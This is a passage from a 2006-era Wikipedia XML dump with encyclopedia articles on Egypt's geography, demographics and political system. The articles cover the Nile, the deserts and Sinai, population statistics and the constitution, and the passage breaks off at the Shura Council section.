[[Category:Middle Eastern countries]]
[[Category:Near Eastern countries]]

[[af:Egipte]]
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  </page>
  <page>
    <title>Egypt/History</title>
    <id>9347</id>
    <revision>
      <id>15907243</id>
      <timestamp>2003-05-23T10:40:14Z</timestamp>
      <contributor>
        <username>Olivier</username>
        <id>3808</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[History of Egypt]]</text>
    </revision>
  </page>
  <page>
    <title>Geography of Egypt</title>
    <id>9348</id>
    <revision>
      <id>41474626</id>
      <timestamp>2006-02-27T16:26:09Z</timestamp>
      <contributor>
        <username>Kelvin Case</username>
        <id>613429</id>
      </contributor>
      <comment>loading better map. more detailed information than previous</comment>
      <text xml:space="preserve">[[Image:Egypt detail.jpg|right|450px]]
[[Image:Nile River and delta from orbit.jpg|right|thumb|320px|The Nile River valley cuts a green swath through the desert of Egypt to the broad Nile delta.]]
[[Image:Egypt_regions_and_boundaries.png|thumb|right|250px|Egypt's regions and boundaries]]

Most of '''[[Egypt]]''' is in [[North Africa]]; the [[Sinai Peninsula]] is in [[Southwest Asia]]. The country has shorelines on the [[Mediterranean Sea]] and the [[Red Sea]]; it borders [[Libya]] to the west, [[Sudan]] to the south, and the [[Gaza Strip]] and [[Israel]] to the east. Egypt, covering 1,001,449 square kilometers of land, is about the same size as [[Texas]] and [[New Mexico]] combined. The country's greatest distance from north to south is 1,024 kilometers, and from east to west, 1,240 kilometers. The country is located in [[North Africa]] and includes the [[Sinai Peninsula]], which is considered part of [[Southwest Asia]]. Egypt's natural boundaries consist of more than 2,900 kilometers of coastline along the [[Mediterranean Sea]], the [[Gulf of Suez]], the [[Gulf of Aqaba]] and the [[Red Sea]].

'''[[Geographic coordinates]]:''' {{coor dm|27|00|N|30|00|E|type:country}})

==Boundaries==
Egypt has land boundaries with Israel, Libya, Sudan, and the Gaza Strip, a Palestinian area formerly administered by Egypt and occupied by Israel since 1967. The land boundaries are generally straight lines that do not conform to geographic features such as rivers. Egypt shares its longest boundary, which extends 1,273 kilometers, with Sudan. In accordance with the Anglo-Egyptian Condominium Agreement of 1899, this boundary runs westward from the Red Sea along the twenty-second parallel, includes the Sudanese Nile salient (Wadi Halfa salient), and continues along the twenty-second parallel until it meets the twenty-fifth meridian. The Sudanese Nile salient, a finger-shape area along the Nile River (Nahr an Nil) north of the twenty-second parallel, is nearly covered by Lake Nasser, which was created when the Aswan High Dam was constructed in the 1960s. An &quot;administrative&quot; boundary, which supplements the main Egyptian-Sudanese boundary permits nomadic tribes to gain access to water holes at the eastern end of Egypt's southern frontier. The administrative boundary departs from the international boundary in two places; Egypt administers the area south of the twenty-second parallel, and Sudan administers the area north of it.

Egypt shares all 1,150 kilometers of the western border with Libya. This border was defined in 1925 under an agreement with Italy, which had colonized Libya. Before and after World War II, the northern border was adjusted, resulting in the return of the village of As Sallum to Egyptian sovereignty. Egypt shares 255 kilometers of its eastern border in Sinai with Israel and 11 kilometers with the Gaza Strip.

==Provinces==
Egypt is divided into twenty-six governorates (sometimes called provinces), which include four city governorates: Alexandria (Al Iskandariyah), Cairo (Al Qahirah), Port Said (Bur Said) and Suez; the nine governorates of Lower Egypt in the Nile Delta region; the eight governorates of Upper Egypt along the Nile River south from Cairo to Aswan; and the five frontier governorates covering Sinai and the deserts that lie west and east of the Nile. All governorates, except the frontier ones, are in the Nile Delta or along the Nile Valley and Suez Canal. 

==Natural regions==
Egypt is predominantly desert. An area of only 35,000 square kilometers - 3.5 % of the total land area - is cultivated and permanently settled. Most of the country lies within the wide band of desert that stretches from Africa's Atlantic Coast across the continent and into southwest Asia. Egypt's geological history has produced four major physical regions: the Nile Valley and Delta, the Western Desert (also known as the Libyan Desert), the Eastern Desert (also known as the Arabian Desert), and the Sinai Peninsula. The Nile Valley and Delta is the most important region because it supports 99 % of the population on the country's only cultivable land.

==Nile Valley and Delta==
[[Image:Nile composite NASA.jpg|thumb|right|200px|Nile delta, and the entire course of the Nile]]
The Nile Valley and Delta, the most extensive oasis on earth, was created by the world's second-longest river and its seemingly inexhaustible sources. Without the topographic channel that permits the Nile to flow across the Sahara, Egypt would be entirely desert; the Nile River traverses about 1,600 kilometers through Egypt and flows northward from the Egyptian-Sudanese border to the Mediterranean Sea. The Nile is a combination of three long rivers whose sources are in central Africa: the White Nile, the Blue Nile, and the Atbarah.

The White Nile, which begins at Lake Victoria in Uganda, supplies about 28 % of the Nile's waters in Egypt. In its course from Lake Victoria to Juba in southern Sudan, the elevation of the White Nile's channel drops more than 600 meters. In its 1,600-kilometer course from Juba to Khartoum, Sudan's capital, the river descends only 75 meters. In southern and central Sudan, the White Nile passes through a wide, flat plain covered with swamp vegetation and slows almost to stagnation.

The Blue Nile, which originates at Lake Tana in Ethiopia, provides an average of 58 % of the Nile's waters in Egypt. It has a steeper gradient and flows more swiftly than the White Nile, which it joins at Khartoum. Unlike the White Nile, the Blue Nile carries a considerable amount of sediment; for several kilometers north of Khartoum, water closer to the eastern bank of the river is visibly muddy and comes from the Blue Nile, while the water closer to the western bank is clearer and comes from the White Nile.

The much shorter Atbarah River, which also originates in Ethiopia, joins the main Nile north of Khartoum between the fifth and sixth cataracts (areas of steep rapids) and provides about 14 % of the Nile's waters in Egypt. During the low-water season, which runs from January to June, the Atbarah shrinks to a number of pools. But, in late-summer, when torrential rains fall on the Ethiopian plateau, the Atbarah provides 22 % of the Nile's flow.

The Blue Nile has a similar pattern. It contributes 17 % of the Nile's waters in the low-water season and 68 % during the high-water season. In contrast, the White Nile provides only 10 % of the Nile's waters during the high-water season but contributes more than 80 % during the low-water period. Thus, before the Aswan High Dam was completed in 1971, the White Nile watered the Egyptian stretch of the river throughout the year, whereas the Blue Nile, carrying seasonal rain from Ethiopia, caused the Nile to overflow its banks and deposit a layer of fertile mud over adjacent fields. The great flood of the main Nile usually occurred in Egypt during August, September, and October, but it sometimes began as early as June at Aswan and often did not completely wane until January.

The Nile enters Egypt a few kilometers north of Wadi Halfa, a Sudanese town that was completely rebuilt on high ground when its original site was submerged in the reservoir created by the Aswan High Dam. As a result of the dam's construction, the Nile actually begins its flow into Egypt as Lake Nasser, which extends south from the dam 320 kilometers to the border and an additional 158 kilometers into Sudan. Lake Nasser's waters fill the area through Lower Nubia (Upper Egypt and northern Sudan) within the narrow gorge between the cliffs of sandstone and granite created by the flow of the river over many centuries. Below Aswan the cultivated floodplain strip widens to as much as twenty kilometers. North of Isna (160 kilometers north of Aswan), the plateau on both sides of the valley rises as high as 550 meters above sea level; at Qina (about 90 kilometers north of Isna) the 300-meter limestone cliffs force the Nile to change course to the southwest for about 60 kilometers before turning northwest for about 160 kilometers to Asyut. Northward from Asyut, the escarpments on both sides diminish, and the valley widens to a maximum of twenty-two kilometers. The Nile reaches the Delta at Cairo.

At Cairo, the Nile spreads out over what was once a broad estuary that has been filled by silt deposits to form a fertile, fan-shape delta about 250 kilometers wide at the seaward base and about 160 kilometers from north to south. The Nile Delta extends over approximately 22,000 square kilometers (roughly equivalent in area to Massachusetts). According to historical accounts from the first century A.D., seven branches of the Nile once ran through the Delta. According to later accounts, the Nile had only six branches by around the twelfth century. Since then, nature and man have closed all but two main outlets: the east branch, Damietta (also seen as Dumyat; 240 kilometers long), and the west branch, Rosetta (235 kilometers long). Both outlets are named after the ports located at their mouths. A network of drainage and irrigation canals supplements these remaining outlets. In the north near the coast, the Delta embraces a series of salt marshes and lakes; most notable among them are Idku, Al Burullus, and Manzilah.

The fertility and productivity of the land adjacent to the Nile depends largely on the silt deposited by floodwaters. Archaeological research indicates that people once lived at a much higher elevation along the river than they do today, probably because the river was higher or the floods more severe. The timing and the amount of annual flow were always unpredictable. Measurements of annual flows as low as 1.2 billion cubic meters and as high as 4.25 billion cubic meters have been recorded. For centuries Egyptians attempted to predict and take advantage of the flows and moderate the severity of floods.

The construction of dams on the Nile, particularly the Aswan High Dam, transformed the mighty river into a large and predictable irrigation ditch. Lake Nasser, the world's largest artificial lake, has enabled planned use of the Nile regardless of the amount of rainfall in Central Africa and East Africa. The dams have also affected the Nile Valley's fertility, which was dependent for centuries not only on the water brought to the arable land but also on the materials left by the water. Researchers have estimated that beneficial silt deposits in the valley began about 10,000 years ago. The average annual deposit of arable soil through the course of the river valley was about nine meters. Analysis of the flow revealed that 10.7 million tons of solid matter passed Cairo each year. Today the Aswan High Dam obstructs most of this sediment, which is now retained in Lake Nasser. The reduction in annual silt deposits has contributed to rising water tables and increasing soil salinity in the Delta, the erosion of the river's banks in Upper Egypt, and the erosion of the alluvial fan along the shore of the Mediterranean Sea.

==Western Desert==
The Western Desert covers about 700,000 square kilometers (equivalent in size to Texas) and accounts for about two-thirds of Egypt's land area. This immense desert to the west of the Nile spans the area from the Mediterranean Sea south to the Sudanese border. The desert's Jilf al Kabir Plateau has an altitude of about 1,000 meters, an exception to the uninterrupted territory of basement rocks covered by layers of horizontally bedded sediments forming a massive plain or low plateau. The Great Sand Sea lies within the desert's plain and extends from the Siwah Oasis to Jilf al Kabir. Scarps (ridges) and deep depressions (basins) exist in several parts of the Western Desert, and no rivers or streams drain into or out of the area.

The government has considered the Western Desert a frontier region and has divided it into two governorates at about the twenty-eighth parallel: Matruh to the north and New Valley (Al Wadi al Jadid) to the south. There are seven important depressions in the Western Desert, and all are considered oases except the largest, Qattara, the water of which is salty. The Qattara Depression is approximately 15,000 square kilometers (about the size of Connecticut and Rhode Island) and is largely below sea level (its lowest point is 133 meters below sea level). Badlands, salt marshes, and salt lakes cover the sparsely inhabited Qattara Depression.

Limited agricultural production, the presence of some natural resources, and permanent settlements are found in the other six depressions, all of which have fresh water provided by the Nile or by local groundwater. The Siwah Oasis, close to the Libyan border and west of Qattara, is isolated from the rest of Egypt but has sustained life since ancient times. The Siwa's cliff-hung Temple of Amun was renowned for its oracles for more than 1,000 years. Herodotus and Alexander the Great were among the many illustrious people who visited the temple in the pre-Christian era.

The other major oases form a topographic chain of basins extending from the Al Fayyum Oasis (sometimes called the Fayyum Depression) which lies sixty kilometers southwest of Cairo, south to the Bahriyah, Farafirah, and Dakhilah oases before reaching the country's largest oasis, Kharijah. A brackish lake, Birkat Qarun, at the northern reaches of Al Fayyum Oasis, drained into the Nile in ancient times. For centuries sweetwater artesian wells in the Fayyum Oasis have permitted extensive cultivation in an irrigated area that extends over 1,800 square kilometers. 

==Eastern Desert==
[[Image:Dust_storms_off_Egypt.jpg|thumb|right|300px|A large plume of Saharan Desert dust (light brownish pixels) were blowing over Libya and Egypt northward over the Mediterranean Sea toward the Middle East, on February 2, 2003.]]

The topographic features of the region east of the Nile are very different from those of the Western Desert. The relatively mountainous Eastern Desert rises abruptly from the Nile and extends over an area of approximately 220,000 square kilometers (roughly equivalent in size to Utah). The upward-sloping plateau of sand gives way within 100 kilometers to arid, defoliated, rocky hills running north and south between the Sudan border and the Delta. The hills reach elevations of more than 1,900 meters. The region's most prominent feature is the easterly chain of rugged mountains, the Red Sea Hills, which extend from the Nile Valley eastward to the Gulf of Suez and the Red Sea. This elevated region has a natural drainage pattern that rarely functions because of insufficient rainfall. It also has a complex of irregular, sharply cut wadis that extend westward toward the Nile.

The Eastern Desert is generally isolated from the rest of the country. There is no oasis cultivation in the region because of the difficulty in sustaining any form of agriculture. Except for a few villages on the Red Sea coast, there are no permanent settlements. The importance of the Eastern Desert lies in its natural resources, especially oil (see Energy , ch. 3). A single governorate, the capital of which is at Al Ghardaqah, administers the entire region.

==Sinai Peninsula==
This triangular area covers about 61,100 square kilometers (slightly smaller than West Virginia, USA). Similar to the desert, the peninsula contains mountains in its southern sector that are a geological extension of the Red Sea Hills, the low range along the Red Sea coast that includes Mount Catherine (Jabal Katrinah), the country's highest point--2,642 meters. The Red Sea is named after these mountains, which are red.

The southern side of the peninsula has a sharp escarpment that subsides after a narrow coastal shelf that slopes into the Red Sea and the Gulf of Aqaba. The elevation of Sinai's southern rim is about 1,000 meters. Moving northward, the elevation of this limestone plateau decreases. The northern third of Sinai is a flat, sandy coastal plain, which extends from the Suez Canal into the Gaza Strip and Israel.

Before the Israeli military occupied Sinai during the June 1967 War (Arab-Israeli war, also known as the Six-Day War), a single Egyptian governorate administered the whole peninsula. By 1982 after all of Sinai was returned to Egypt, the central government divided the peninsula into two governorates. North Sinai has its capital at Al Arish and the South Sinai has its capital in At Tur.

==Area and boundaries==
'''Area:'''
&lt;br&gt;''total:''
1,001,450 km&amp;sup2;
&lt;br&gt;''land:''
995,450 km&amp;sup2;
&lt;br&gt;''water:''
6,000 km&amp;sup2;

'''Area - comparative:'''
slightly more than three times the size of [[New Mexico]] (US)

'''Land boundaries:'''
&lt;br&gt;''total:''
2,689 km
&lt;br&gt;''border countries:''
Gaza Strip 11 km, Israel 255 km, Libya 1,150 km, Sudan 1,273 km

'''Coastline:''' 2,450 km

'''Maritime claims:'''
&lt;br&gt;''contiguous zone:'' 24  nautical miles (44 km)
&lt;br&gt;''continental shelf:'' 200 m depth or to the depth of exploitation
&lt;br&gt;''exclusive economic zone:'' 200  nautical miles (370 km)
&lt;br&gt;''territorial sea:'' 12 nautical miles (22 km)

'''Elevation extremes:'''
&lt;br&gt;''lowest point:''  [[Qattara Depression]] -133 m
&lt;br&gt;''highest point:'' [[Mount Catherine]] 2,629 m

==Resources and land use==
'''Natural resources:'''
[[petroleum]], [[natural gas]], [[iron ore]], [[phosphates]], [[manganese]], [[limestone]], [[gypsum]], [[talc]], [[asbestos]], [[lead]], [[zinc]]

'''Land use:'''
&lt;br&gt;''arable land:''
2%
&lt;br&gt;''permanent crops:''
0%
&lt;br&gt;''permanent pastures:''
0%
&lt;br&gt;''forests and woodland:''
0%
&lt;br&gt;''other:''
98% (1993 est.)

'''Irrigated land:'''
32,460 km&amp;sup2; (1993 est.)

==Environmental concerns==
'''Natural hazards:'''
periodic droughts; frequent earthquakes, flash floods, landslides, volcanic activity; hot, driving windstorm called khamsin occurs in spring; dust storms, sandstorms

'''Environment - current issues:'''
agricultural land being lost to [[urbanization]] and windblown [[sand]]s; increasing [[soil salination]] below [[Aswan High Dam]]; [[desertification]]; [[oil pollution]] threatening [[coral reef]]s, [[beach]]es, and marine habitats; other [[water pollution]] from agricultural [[pesticide]]s, raw [[sewage]], and industrial effluents; very limited natural [[fresh water resources]] away from the [[Nile]] which is the only perennial water source; rapid growth in population overstraining natural resources

'''Environment - international agreements:'''
&lt;br&gt;''party to:''
[[Biodiversity]], [[United Nations Framework Convention on Climate Change|Climate Change]], [[Desertification]], [[Endangered Species]], [[Environmental Modification]], [[Hazardous Wastes]], [[Law of the Sea]], [[Marine Dumping]], [[Nuclear Test Ban]], [[Ozone Layer Protection]], Ship Pollution ([[MARPOL 73/78]]), [[Tropical Timber 83]], [[Tropical Timber 94]], [[Wetlands]], [[Whaling]]
&lt;br&gt;''signed, but not ratified:''
Climate Change-[[Kyoto Protocol]]

'''Geography - note:'''
controls [[Sinai Peninsula]], only land bridge between Africa and remainder of Eastern Hemisphere; controls [[Suez Canal]], shortest sea link between [[Indian Ocean]] and [[Mediterranean Sea]]; size, and juxtaposition to Israel, establish its major role in Middle Eastern geopolitics

==Sources==
*[http://lcweb2.loc.gov/frd/cs/cshome.html Library of Congress, Country Studies]
*''CIA World Fact Book''

==External links==
*[http://www.lib.utexas.edu/maps/africa/egypt_pol97.jpg Map]

{{Africa in topic|Geography of}}

[[Category:Geography by country|Egypt]]
[[Category:Geography of Egypt| ]]

[[bg:География на Египет]]
[[es:Geografía de Egipto]]
[[fr:Géographie de l'Égypte]]
[[he:גאוגרפיה של מצרים]]
[[pt:Geografia do Egipto]]</text>
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  <page>
    <title>Demographics of Egypt</title>
    <id>9349</id>
    <revision>
      <id>41933585</id>
      <timestamp>2006-03-02T18:51:08Z</timestamp>
      <contributor>
        <username>Zerida</username>
        <id>454491</id>
      </contributor>
      <comment>Revert to revision 40553103 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">{{Life in Egypt}}
[[Egypt]] is the most populous country in the [[Arab world|Arabic]]-speaking world and the second-most populous on the [[Africa]]n Continent. Nearly 100% of the country's 78 million people live in three major regions of the country: [[Cairo]] and [[Alexandria]] and elsewhere along the banks of the [[Nile]]; throughout the Nile delta, which fans out north of Cairo; and along the [[Suez Canal]]. These regions are among the world's most densely populated, containing an average of over 3,820 persons per square mile (1,540 per sq. km.), as compared to 181 persons per sq. mi. for the country as a whole.&lt;BR&gt;

Small communities spread throughout the [[desert]] regions of Egypt are clustered around oases and historic trade and transportation routes. The government has tried with mixed success to encourage migration to newly [[irrigation|irrigated]] land reclaimed from the desert. However, the proportion of the population living in rural areas has continued to decrease as people move to the cities in search of employment and a higher [[standard of living]].

== People ==

The Egyptians are a fairly homogeneous people. Ethnically and culturally, [[North Africa]]n and Eastern [[Mediterranean]] influences are more predominant in the north, while the south which bears the same influences is also home to people related to [[Nubian]]s and Africans further southeast in the land encompassing modern [[Ethiopia]] and [[Eritrea]]. Many theories have been proposed regarding the origins of the Egyptians, but the most widely accepted based on the [[scientific method|scientific]] evidence is that prehistoric Egyptian society was formed through a mix of [[Berber|North]] and [[Northeast Africa]]n, as well as [[Southwest Asia]]n peoples who moved to the Nile Valley after the [[Ice Age]]. By 6000 B.C., organized agriculture had appeared in the Nile Valley.

Egypt has endured as a unified state for more than 5,000 years, and [[archaeology|archaeological]] findings show that primitive tribes lived along the Nile long before the dynastic history of the [[pharaoh]]s began. Egyptians take pride in their pharaonic heritage and in their descent from what many consider mankind's earliest civilization. The [[Classical Arabic]] word for Egypt is Misr (Masr in [[Egyptian Arabic]]), which appears in many ancient Semitic languages and originally connoted &quot;civilization&quot; or &quot;metropolis&quot;.

The bulk of modern Egyptian society still maintains a homogeneous genetic tie to ancient Egyptian society since the predynastic period, which has always been regarded as rural and most populous compared to the neighboring demographics. The Egyptian people have spoken only languages from the Afro-Asiatic family (previously known as Hamito-Semitic) throughout their history starting with Old Egyptian to modern [[Egyptian Arabic]] (Masri).

Ethnic minorities include other established communities, namely a small number of [[Bedouin]] Arab nomads in the Sinai and eastern and western deserts, as well as some [[Nubian]]s clustered along the Nile in Upper (southern) Egypt who are estimated to be about 0.8% of the population. Egypt was host to many foreign communities during the colonial period, such as [[Greeks]], [[Italians]], [[Syrians]], and [[Armenians]], though most left following the political developments that swept the country in the 1950s. The country still hosts some 90,000 refugees and asylum seekers, mostly [[Palestinian refugees|Palestinians]] and [[Sudanese refugees in Egypt|Sudanese]]. 

The literacy rate in modern Egyptian society is about 57% of the adult population. Education is free through university and compulsory from ages six through 15. Rates for primary and secondary education have strengthened in recent years. Ninety-three percent of children enter primary school and about one-quarter drop out after the sixth year; in 1994-95, 87% entered primary school and about half dropped out after the sixth year. There are 20,000 primary and secondary schools with some 10 million students, 13 major universities with more than 500,000 students, and 67 teacher colleges. Major universities include Cairo University (100,000 students), Alexandria University, and the 1,000-year-old Al-Azhar University, one of the world's major centers of Islamic learning.

Egypt's vast and rich literature constitutes an important cultural element in the life of the country and in the Arab world as a whole. Egyptian novelists and poets were among the first to experiment with modern styles of Arabic literature, and the forms they developed have been widely imitated. Egyptian novelist Naguib Mahfouz was the first in the Arabic-speaking world to win the Nobel Prize in Literature. Egyptian books, films, and music are available and well-known throughout the Middle East.

== Statistics ==

'''Population:'''
77,505,756 (July 2005 est.)

'''Age structure:'''
&lt;br /&gt;''0-14 years:''
33% (male 13,106,043; female 12,483,899)
&lt;br /&gt;''15-64 years:''
62.6% (male 24,531,266; female 23,972,216)
&lt;br /&gt;''65 years and over:''
4.4% (male 1,457,097; female 1,955,235) (2005 est.)

'''Population growth rate:'''
1.78% (2005 est.)  

'''Birth rate:'''
23.32 births/1,000 population (2005 est.)

'''Death rate:'''
5.26 deaths/1,000 population (2005 est.)

'''Net migration rate:'''
-0.22 migrant(s)/1,000 population (2005 est.)

'''Sex ratio:'''
&lt;br /&gt;''at birth:''
1.05 male(s)/female
&lt;br /&gt;''under 15 years:''
1.05 male(s)/female
&lt;br /&gt;''15-64 years:''
1.02 male(s)/female
&lt;br /&gt;''65 years and over:''
0.74 male(s)/female
&lt;br /&gt;''total population:''
1.02 male(s)/female (2005 est.)

'''Infant mortality rate:'''
32.59 deaths/1,000 live births (2005 est.)

'''Life expectancy at birth:'''
&lt;br /&gt;''total population:''
71 years
&lt;br /&gt;''male:''
68.5 years
&lt;br /&gt;''female:''
73.62 years (2005 est.)

'''Total fertility rate:'''
2.88 children born/woman (2005 est.)

'''Nationality:'''
&lt;br /&gt;''noun:''
Egyptian(s)
&lt;br /&gt;''adjective:''
Egyptian

'''Ethnic groups:'''
Egyptians 98%,  [[Nubian]]s 0.8%, Other ([[Bedouin]] [[Arabs]], [[Berbers]], [[Beja]], [[Roma people|Roma]], [[Greeks]], [[Syrians]], [[Armenians]], [[Magyarab]] 1.2%) 

'''Religions:'''
[[Muslim]] (mostly [[Sunni Islam|Sunni]]) 94%, [[Coptic Christianity|Coptic Christian]] and other 6%

'''Languages:'''
[[Arabic language|Arabic]] (official), [[Egyptian language|Egyptian]] (Coptic), [[English language|English]] and [[French language|French]] widely understood by educated classes

'''Literacy:'''
&lt;br /&gt;''definition:''
age 15 and over can read and write
&lt;br /&gt;''total population:''
57.7%
&lt;br /&gt;''male:''
68.3%
&lt;br /&gt;''female:''
46.9% (2003 est.)

== References ==
* {{CIAfb}}{{clr}}
* {{StateDept}}

== See also ==
* [[Egypt]]

{{Africa in topic|Demographics of}}

[[Category:Demographics by country|Egypt]]
[[Category:Geography of Egypt]]
[[Category:Egyptian society]]

[[es:Demografía de Egipto]]
[[fr:Démographie de l'Égypte]]
[[he:דמוגרפיה של מצרים]]</text>
    </revision>
  </page>
  <page>
    <title>Politics of Egypt</title>
    <id>9350</id>
    <revision>
      <id>39374551</id>
      <timestamp>2006-02-12T19:20:53Z</timestamp>
      <contributor>
        <ip>83.121.2.141</ip>
      </contributor>
      <comment>disambiguation from [[FAO]] to [[Food and Agriculture Organization]] by the [[User:DabMachine|DabMachine]]</comment>
      <text xml:space="preserve">{{Politics of Egypt}}
==Constitution==
''Main Article: [[History of the Egyptian Constitution]]''&lt;BR&gt;&lt;BR&gt;
The [[Constitution of Egypt|Constitution of the Arab Republic of Egypt]] was approved by referendum in [[1970]] and amended in [[1980]] and [[2005]]. The [[Constitution of Egypt|Constitution of the Arab Republic of Egypt]] declares [[Egypt]] to be a ‘[[Democracy|democratic]] and [[Socialism|socialist]] republic’, operating under a ‘multiparty system’ semi-presidential system.

The national government of Egypt is divided into an executive branch, a legislative branch and a judiciary branch. The Constitution grants wide powers to the executive. The President of Egypt heads the executive branch. The President’s powers stem from his ability to appoint the powerful prime minister and one or more Vice-Presidents. However, the President’s choice of the prime minister has to yield and maintain the approval the [[People's Assembly of Egypt|People’s Assembly]] ('''Majilis Al-Sha’ab'''), the lower house of [[Parliament of Egypt|Parliament]]. 

Egypt is a [[unitary state]], meaning that its subdivisions do not have constitutional status. However, the various legal subdivisions, the ''governorates'' ('''Muhafazat'''), ''cities'' ('''Modon'''), and counties ('''Kofour'''), have various attributions.

==Executive branch==
===President of the Republic===
''Main Article: [[President of Egypt]]''&lt;BR&gt;&lt;BR&gt;
In [[February 2005]], [[President of Egypt|President]] [[Hosni Mubarak|Mubarak]] proposed an amendment to article 76 of the constitution that would allow, for the first time, multi-candidate presidential elections. A referendum was held on [[May 25]] [[2005]], as required by the constitution, and the amendment was approved (reportedly, with a majority of over 82% support). However, the terms of the newly adopted amendment make it very difficult, if not impossible, for candidates other than those of Mubarak's National Democratic Party, which holds about 90% of parliament seats, to run for the elections. The hurdles include requiring aspiring presidential candidates to first secure the support of 250 elected officials (including 140 local council members, 65 People's Assembly deputies, and 25 members of the Shura Council), and requiring that the parties they represent to have existed for at least five years. In the event, the referendum was boycotted by some of Egypt's leading opposition parties, including the [[New Wafd Party|Wafd]]. 

Under the 1980 amendments of the Egyptian Constitution, the [[President of Egypt|President]] is elected for six years. As of [[2005]], President [[Hosni Mubarak|Mohamed Hosni Mubarak]] has been the President of the Republic since [[14 October]] [[1981]] and is currently serving his last year of his fourth term. President Mubarak was re-elected in 1987, 1993, and 1999, making him the longest serving Egyptian President in the history of the Republic. 

The President of Republic is elected indirectly in a two-stage system unique to Egypt. The People’s Assembly, the lower house of Parliament, nominates one of a number of candidates for presidency. The presidential candidate requires at least a two-thirds majority in the People’s Assembly in order to proceed to the second stage of the elections. The presidential candidate is voted on in a yes-or-no binding public referendum. On achieving a simple majority in the public referendum, the presidential candidate is sworn in as President. However, if the candidate is fails to obtain the required majority, the People’s Assembly nominates a new candidate for presidency, thus returning to the first stage of elections. The President may be re-elected multiple times with no limitation on the number of terms allowed to be served.

The Egyptian system for presidential election is regarded by many as not being fully democratic due to the fact that it is the People’s Assembly and not the populace itself, who retains the upper-hand in choosing the Chief of State. In addition, it allows for whatever party or coalition controlling the People’s Assembly to put forward their candidate as the presidential candidate. This greatly explains how in most of the 1980s and 1990s the [[National Democratic Party (Egypt)|National Democratic Party]] has managed to maintain the office of President and a parliamentary majority.      

The President names the [[Prime Minister of Egypt|prime minister]] and may preside over the cabinet. President Mubarak holds a monthly meeting with the cabinet on which he presides. In addition, the President is the Supreme Commander of the [[Military of Egypt|Egyptian Armed Forces]]. The President concludes treaties and may submit questions to national referenda. The President also possesses the constitutional power to dissolve the People’s Assembly, however, no President has ever done so. In certain emergencies, the President may assume special, comprehensive powers.

Under the system created by the 1980 constitutional amendments, the President is the pre-eminent executive figure, who names the Prime Minister. When the President's political party or supporters control parliament, the President is in effect the ‘dominant’ player in executive action, choosing whoever he wishes for government, and having it follow ‘his’ political agenda. However, when the President's political opponents control parliament, the President's dominance can be severely limited, as he must choose a prime minister and cabinet reflecting the majority in parliament. When parties from opposite ends of the political spectrum control parliament and the presidency, the power-sharing arrangement is known as [[cohabitation (government)|cohabitation]]. By convention, the President controls foreign-affairs and defence related issues of the state, while the Prime Minister manages the day-to-day affairs including the economy.

In the late 1970s Egypt had several cohabitation governments which proved to be unstable, due to the struggle arising between the President and the Prime Minister. However, since 1981, the National Democratic Party has maintained a majority in the People’s Assembly and supplied the Egyptian President.

===The Government/Cabinet ('''Al-Hokouma Al-Misreya''') ===
''Main Article: [[Cabinet of Egypt]], [[Prime Minister of Egypt]] &lt;BR&gt;&lt;BR&gt;''
The government, or the [[cabinet]], is headed by the [[Prime Minister of Egypt]]. It has at its disposal the [[Egyptian Civil Service|civil service]] the government agencies. The cabinet, headed by the Prime Minister, is responsible only to Parliament, specifically the People’s Assembly. The People’s Assembly may pass a motion of censure, forcing the resignation of the cabinet. Ministers have to answer questions from Members of Parliament, both written and oral; this is known as Inquiries to the Government '''Talebat Ihata'''. In addition, ministers attend meetings of the two houses of Parliament when laws pertaining to their areas of responsibility are being discussed.

Traditionally, the cabinet comprises, in decreasing rank:
*''The Prime Minister''
*''Presidential Ministers'', the ministers of Defense, Interior, Foreign Affairs, and Information are appointed by the President himself and report both to the President and the Prime Minister (as opposed to other Ministers who can only report to the Prime Minister).
*''Ministers'' 
*''Ministers of State'', described as ‘junior ministers’, are assigned specific responsibilities or agencies. The portfolios of ministers of state are considerably more transient, as positions may be created and dissolved to suit specific short-term government priorities or the specific qualifications of candidates without alterations to the departmental structure, e.g. the Ministry of State for Environmental Affairs.  
*''Ministers without portfolio'', ministers who do not head specific departments and occasionally attend cabinet meetings, e.g. Minister without portfolio Omar Suleiman, the current Chief of the Egyptian Intelligence Services.   
*''Chairmen of Departments'', who head certain important departments that do not fall under the jurisdiction of any of the ministers and answer directly to the Prime Minister, e.g. The Chairman of the Suez Canal Authority. 
*''Ministers-Delegate'', who assist ministers in areas of their duties and rarely attend cabinet meeting

The number of ministries and the splitting of responsibilities and administrations between them vary from government to government, but some positions tend to stay the same, even though the exact title of the position may vary.

*[[Ministry of the Interior (Egypt)|Ministry of the Interior]] (law enforcement, prisons)
*[[Ministry of Defence (Egypt)|Ministry of Defence and Military Production]], 
*[[Ministry of Foreign Affairs (Egypt)|Ministry of Foreign Affairs]] 
*[[Ministry of Justice (Egypt)|Ministry of Justice]] (running the court system, supervision of the prosecution service)

The government has a leading role in shaping the agenda of the houses of Parliament. It may propose laws to Parliament, as well as amendments during parliamentary meetings. It may make use of some procedures to speed up parliamentary deliberations.

As of [[9 July]] [[2004]], the Prime Minister is [[Ahmed Nazif|Dr. Ahmed Nazif]].

==Legislative branch==
''Main Article: [[History of Parliamentary life in Egypt]]''&lt;BR&gt;&lt;BR&gt;
[[Parliament of Egypt|Parliament]] meets for one nine-month session each year: under special circumstances the President of the Republic can call an additional session. Even though the powers of the Parliament have increased since the 1980 Amendments of the Constitution, the Parliament remains to lack the powers to balance the excessive powers of the President. 

===The People’s Assembly ('''Majilis Al-Sha’ab''') ===
The [[People's Assembly of Egypt|People’s Assembly]] is the principal legislative body. Out of the assembly’s 454 [[Chamber of Deputies|deputies]], 444 are directly elected while 10 are appointed by the President. The Constitution reserves fifty percent of the assembly seats for ‘workers and peasants’. The assembly sits for a five-year term but can be dissolved earlier by the President. All seats are voted on in each election. Four hundred seats are voted on using [[proportional representation]] while the remaining forty-four are elected in local majority votes.   

The People’s Assembly may cause the resignation of the executive cabinet by voting a motion of censure. For this reason, the [[Prime Minister of Egypt|Prime Minister]] and his cabinet are necessarily from the dominant party or coalition in the assembly. In the case of a president and assembly from opposing parties, this leads to the situation known as [[cohabitation]]. While motions of censure are periodically proposed by the opposition following government actions that it deems highly inappropriate, they are purely rhetorical; party discipline ensures that, throughout a parliamentary term, the government is never overthrown by the assembly.

===The Shura Council ('''Majilis Al-Shura''') ===
